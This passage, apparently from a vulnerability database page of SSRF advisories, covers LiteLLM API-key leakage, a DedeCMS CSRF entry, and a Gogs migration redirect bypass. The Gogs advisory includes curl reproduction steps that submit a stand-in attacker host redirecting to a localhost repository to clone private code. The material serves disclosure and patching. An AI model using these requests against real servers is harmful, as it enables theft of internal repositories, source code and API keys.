    "nvd_published_at": "2024-09-13T16:15:04Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability exists in berriai/litellm version 1.38.10. This vulnerability allows users to specify the `api_base` parameter when making requests to `POST /chat/completions`, causing the application to send the request to the domain specified by `api_base`. This request includes the OpenAI API key. A malicious user can set the `api_base` to their own domain and intercept the OpenAI API key, leading to unauthorized access and potential misuse of the API key.",
  "id": "GHSA-g26j-5385-hhw3",
  "modified": "2024-09-13T19:29:08Z",
  "published": "2024-09-13T18:31:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6587"
    },
    {
      "type": "WEB",
      "url": "https://github.com/berriai/litellm/commit/ba1912afd1b19e38d3704bb156adf887f91ae1e0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/berriai/litellm"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/4001e1a2-7b7a-4776-a3ae-e6692ec3d997"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LiteLLM Server-Side Request Forgery (SSRF) vulnerability"
}

GHSA-G27M-QX37-W989

Vulnerability from github – Published: 2024-03-13 15:31 – Updated: 2024-08-02 21:31
VLAI
Details

DedeCMS v5.7 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via the component /dede/mychannel_add.php

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-28668"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-13T13:15:48Z",
    "severity": "MODERATE"
  },
  "details": "DedeCMS v5.7 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via the component /dede/mychannel_add.php",
  "id": "GHSA-g27m-qx37-w989",
  "modified": "2024-08-02T21:31:33Z",
  "published": "2024-03-13T15:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28668"
    },
    {
      "type": "WEB",
      "url": "https://github.com/777erp/cms/blob/main/5.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G2F5-GJR4-QJVM

Vulnerability from github – Published: 2026-06-23 17:01 – Updated: 2026-07-21 13:36
VLAI
Summary
Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft
Details

Migration URL validation bypass via HTTP redirect to blocked internal endpoints

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but git clone --mirror follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., 127.0.0.1), importing the internal repository's contents into an attacker-controlled repository.

Vulnerability Details

The vulnerability is located in internal/form/repo.go. ParseRemoteAddr() validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by git clone --mirror in internal/database/repo.go, which follows HTTP redirects without revalidation:

  1. Attacker submits http://attacker.example/redirect.git — passes validation (public hostname).
  2. Attacker's server responds with 302 redirect to http://127.0.0.1:18081/victim/private.git.
  3. Git follows the redirect and clones the internal repository.
  4. Gogs imports the cloned contents into the attacker's new repository.

The root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target.

Impact

This vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to:

  • Steal source code and secrets from internal repositories served over HTTP.
  • Scan internal network services via the migration endpoint.

Reproduction Steps

Prerequisites: a Gogs instance, an attacker account that can create repositories.

  1. Start a local HTTP Git server with a test repository on 127.0.0.1:18081.
  2. Start a redirect server that responds to any request with a 302 redirect to http://127.0.0.1:18081/victim/private.git.
  3. Verify the direct localhost URL is blocked:
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
  -H "Content-Type: application/json" \
  --data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \
  "${GOGS_URL}/api/v1/repos/migrate"

Result: rejected as blocked local address.

  1. Submit a public-looking URL that redirects to the blocked endpoint:
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
  -H "Content-Type: application/json" \
  --data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \
  "${GOGS_URL}/api/v1/repos/migrate"

Result: migration succeeds. The new repository contains the internal repository's contents.

Severity
8.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gogs.io/gogs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.14.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52805"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T17:01:35Z",
    "nvd_published_at": "2026-06-24T21:16:56Z",
    "severity": "HIGH"
  },
  "details": "# Migration URL validation bypass via HTTP redirect to blocked internal endpoints\n\n## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but `git clone --mirror` follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., `127.0.0.1`), importing the internal repository\u0027s contents into an attacker-controlled repository.\n\n## Vulnerability Details\n\nThe vulnerability is located in `internal/form/repo.go`. `ParseRemoteAddr()` validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by `git clone --mirror` in `internal/database/repo.go`, which follows HTTP redirects without revalidation:\n\n1. Attacker submits `http://attacker.example/redirect.git` \u2014 passes validation (public hostname).\n2. Attacker\u0027s server responds with `302` redirect to `http://127.0.0.1:18081/victim/private.git`.\n3. Git follows the redirect and clones the internal repository.\n4. Gogs imports the cloned contents into the attacker\u0027s new repository.\n\nThe root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target.\n\n## Impact\n\nThis vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to:\n\n- Steal source code and secrets from internal repositories served over HTTP.\n- Scan internal network services via the migration endpoint.\n\n## Reproduction Steps\n\nPrerequisites: a Gogs instance, an attacker account that can create repositories.\n\n1. Start a local HTTP Git server with a test repository on `127.0.0.1:18081`.\n2. Start a redirect server that responds to any request with a `302` redirect to `http://127.0.0.1:18081/victim/private.git`.\n3. Verify the direct localhost URL is blocked:\n```bash\ncurl -sS -X POST -H \"Authorization: token ${TOKEN}\" \\\n  -H \"Content-Type: application/json\" \\\n  --data \u0027{\"clone_addr\":\"http://127.0.0.1:18081/victim/private.git\",\"uid\":2,\"repo_name\":\"blocked\"}\u0027 \\\n  \"${GOGS_URL}/api/v1/repos/migrate\"\n```\nResult: rejected as blocked local address.\n\n4. Submit a public-looking URL that redirects to the blocked endpoint:\n```bash\ncurl -sS -X POST -H \"Authorization: token ${TOKEN}\" \\\n  -H \"Content-Type: application/json\" \\\n  --data \u0027{\"clone_addr\":\"http://attacker.example/redirect.git\",\"uid\":2,\"repo_name\":\"stolen\",\"private\":true}\u0027 \\\n  \"${GOGS_URL}/api/v1/repos/migrate\"\n```\nResult: migration succeeds. The new repository contains the internal repository\u0027s contents.",
  "id": "GHSA-g2f5-gjr4-qjvm",
  "modified": "2026-07-21T13:36:04Z",
  "published": "2026-06-23T17:01:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/security/advisories/GHSA-g2f5-gjr4-qjvm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52805"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/pull/8324"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/commit/b9a0093e9cd1b2b3c7f42f9feca396dc772c4f1b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gogs/gogs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list